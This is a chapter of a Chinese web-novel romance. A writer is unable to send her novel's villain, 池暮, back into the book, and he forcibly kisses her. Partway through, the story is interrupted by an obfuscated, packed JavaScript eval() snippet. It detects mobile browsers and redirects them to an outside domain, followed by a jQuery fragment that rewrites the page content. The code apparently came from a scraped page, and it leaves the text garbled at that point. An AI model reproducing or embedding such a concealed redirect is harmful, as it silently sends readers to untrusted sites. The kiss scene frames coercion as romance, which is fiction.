“池暮?”
沈榆又唤了一声,拉开椅子,将房间里的每个角落尽收眼底。
没有人应答……没有人应答?!
哦豁!成功了!成功了!
“反派终于滚回去了!”
拖鞋一甩,沈榆大笑着摔在了床上,卷起被子翻滚来翻滚去,只露出欢快的脑袋和脚丫子,像个撒欢的疯子。
可是开心不过三秒——
嘭。
是屋门关上的声音。
魔性的笑声突然停住了。床上的白色卷卷僵住了。
被子上随即落下了一个阴影。
疑惑的声音在凝滞的空气中响起,又冷又沉:“沈榆?”
沈榆艰难地坐起身来,正对上一双黑亮的眸子。
额前碎发的阴影打了下来,混淆了眼底的情绪,教沈榆辨不清楚。
……没送走。
他是不是中途逃跑了?
“你在做什么?”
池暮逆着灯光站在床尾,一手插着裤兜,一手端着泡面。
不等沈榆再次提问,池暮率先开口。
“反派……是在说我吗?”池暮盯着她的眼睛反问,“我是你和沈青辞爱情里的反派?是这个意思吗?”
沈榆眼神闪了闪,难得心虚。
她知道池暮心眼子多,却也不善于撒谎。她对他的情绪,可以近乎直觉地探测到。
他在生气,又在生气。
沈榆转移话题:“你去泡面了?泡面的话下次不要泡太久,面软塌塌得会不好吃。你,你没有下毒吧?”
她自然地从被子卷儿里钻出来,抻着胳膊去捞池暮手中的泡面。
这几天的一日三餐都是池暮做的,她每次都要先确认一下他有没有下毒。
好像他永远阴险卑鄙狡诈。
在沈榆的指尖即将碰到自己的手掌时,池暮手指忽然一动,手掌一歪,泡面全部喂进了床脚的垃圾桶里。
沈榆的指尖一颤,抬头看他:“泡面有什么错?”
沈榆不知道的是,惹池暮不快的又何止是一个称呼。
“我下毒了。”池暮盯着她,“不然怎么会亲手送到你面前?”
沈榆的身体猛然绷紧,也顾不得教育他不要浪费粮食了,笑不出来。
“沈榆,记得我说过什么吗?”
池暮弯腰,倾身。
他的胳膊刚一有了动作,沈榆便两只手抓着被子飞速往后蹭去,挤着床头跟被子一起缩成一团儿,紧张地盯着他:“说什么?”
因为这几天不规律的作息以及对泡面的不加节制,沈榆的鼻尖上冒了颗痘,晕开一圈儿红晕,格外显眼。
池暮心里刚刚冒出来的火焰瞬间灭了大半儿,只剩下微乎其微的怒意忽明忽暗地闪烁着。
她扎起来的头发不知何时散了开来,因为刚刚的动作凌乱地炸了毛,乌发红唇,晶莹的泪珠挂在眼角,要落不落:“我可能,不记得了。”
明知道她只是不敢真的惹他生气,又在故意示弱,可是最后一点儿怒意,还是忽而熄灭了。
似乎能听得见声音,惹得他心尖一颤。
“我,我也没想真的杀你,我只是想把你送回去。”
沈榆声音干涩。
她只是单纯地讨厌他的突然侵入,崩坏她原有的生活节奏,她排斥他无理由偶尔越界的亲昵,单纯地想要把一切掰回正轨。
错的是他,不该出现。
池暮说:“阿榆,我说过,我好不容易才抓到你。我喜欢这里。我不要回去。”
不,不能用回去。他本来就不属于那个灰暗的世界。他一定,也是和沈青辞,和沈榆一样,是这个世界里活生生的人。
池暮没有继续靠近她,缓缓站直了身体。
沈榆抬眸,对上他冷厉的眸子:“可是池暮,你甚至没有在这里活下去的身份。”
“我会自己解决。”池暮嗤笑一声,“倒是你,沈榆,我可不是你的累赘和麻烦,沈青辞才是。你真是眼瞎得厉害。”
沈榆被骂了,气焰也歘得升上来了:“池暮,你懂什么?!”
那日“相亲宴”后的几句争吵,已经轻易撬动了她对哥哥多年来的信任。
但沈青辞是十年青春,是她至今拥有的所有记忆,是她溺水时唯一的浮木,不是池暮一句眼瞎就能放弃的。
池暮说:“我是不懂。”
他是不懂。沈榆从一脸夸张的恐惧加示弱再到理直气壮地与他谈判讲道理,前后只用了不到三十秒的时间。
这是能有多害怕他啊。
沈榆。
还是说,明明害怕,她却又在潜意识里靠近他。
沈榆。
心里一遍遍喊过她的名字。
池暮迈出两步。
“你别去动电脑。”沈榆瞥着他的动作,出声制止。她的心里还抱着一丝侥幸心理,毕竟新章节还没有发出去。
池暮当然没有碰电脑,他只是弯腰,从地面上捡起黑色的发圈。
“这个。”
随后,发圈勾在了修长的中指上,被递了出去。
床尾与床头,距离分明还有好远——是等着她主动靠近来取。
沈榆眸子一凝,摸了摸自己不知何时披散下来的头发,慢吞吞地从被子里钻了出来。
宽大的裤脚晃动,沈榆三两步站在池暮面前,站在床上要高出他许多来,居高临下。
池暮抬头,一双漂亮的眼睛暴露在视线内,却是没有看他。
沈榆捏着发圈的另一端,从他的手指上取下,挥挥手,“让让,踩着我拖鞋了。”
池暮没动,手指忽然摸上了她的脑袋:“别动。有虫子。”
沈榆怎么可能不动,她吓得缩头缩脑地,小心翼翼:“在哪里?”
池暮说:“凑近点。”
沈榆顺着他的力道凑近他一些。
池暮盯着她的脸,仰头,亲上了她的唇。又一次。
沈榆猛地去推他,整个人如同受惊的鸟儿,扑腾着胳膊,毫无美感。
池暮一只胳膊圈住她,将人粘在自己身上似的,另一只大掌将沈榆的脑袋按得更紧。
他一边没什么章法地按着她亲,一边似请求非请求。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271320|182311||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“阿榆,你教教我吧。法律,历史,我学会了。接下来,我想学这个。从第一天见到你我就想学这个。”
池暮这些天和沈榆一起出门,总是注意到街上一男一女抱在一起做这种事情。
他的脑海里也总会一遍遍想起小说世界里的阿榆和沈青辞嘴唇碰嘴唇的场景,挥之不去。
那是他第一次想要杀掉沈青辞。沈青辞碍眼,很碍眼。
在池暮看来,沈青辞才是外来者,是第三者。
池暮从有记忆起,脑海里就只有沈榆,他和小小的沈榆一起上下学,一起吃饭,像家人一样生活。
可一场大火把所有烧得一干二净。他分不清梦境,分不清现实,分不清他所处的世界是否真实,直到他可以控制自己的身体,抓住阿榆。
阿榆下毒。他要和她在一起。
阿榆开枪。他要和她在一起。
阿榆逃跑。他要把人抓回来。
沈榆口腔里的津液几乎被他搜刮了一个遍,他依然贪婪地更进一步,吮吸她的舌头,一遍一遍地索取。直到他自己也要窒息。
地面上只有一只拖鞋,另一只不知飞哪里去了,或许是被池暮踢床底下去了。
沈榆不知道。
她气喘吁吁地瘫坐在床边。腿软。
池暮低头,掐住她的下巴,还想再来一次。
沈榆连扇人的力气也没了,只是朝前面一栽,脑袋摁在他的腹肌上不起来,挡住自己的唇,自己的脸。
“池暮。这些事情是要跟喜欢的人才能做的。”
可她还没亲到她的养兄,就已经和池暮接吻过两次。
“你混蛋。”
“为什么做了这种事情就是混蛋。大街上的人是都在光明正大地做混蛋吗。”
池暮平静地质问。
“还有阿榆,刚刚也回应了我,比我更用力,像是要吃掉我似的,你也是混蛋吗?”
“我哪有?!”
“好,你没有。”池暮哼了一声,抿起唇,只有舌尖探出,在唇上舔了一下。
他的嘴巴明显肿了起来。就是被沈榆亲肿的。可是沈榆好像自己骗自己一向有一套。
池暮知道她不会承认。他说:“你等我一下,我再去煮一袋泡面。”
“去去去。”沈榆没抬头,只是爬回了床上,将自己埋进被子里。
恰好,小说的更新提示又响了。
沈榆有种不祥的预感。
她捞过手机,打开。
只见最新一章,《接吻》,取代了她发布的内容,更新了。
发布成功不算。
要更新提示音响才算。
爹的。
偏偏是这种事情,每次都如此之迅速,像是害怕再晚一秒会过不了审。
沈榆望着天花板,嘴唇又疼又涨,眼泪溢出,羞耻:“这跟公开处刑有什么区别……”
还有,以这本小说稀奇古怪的走向来看,要是哪天走漏了风声,让读者知道这是真实事件改编,她还活不活了?
“活。”沈榆只能笑着给自己打气,“加油活下去吧,沈榆。”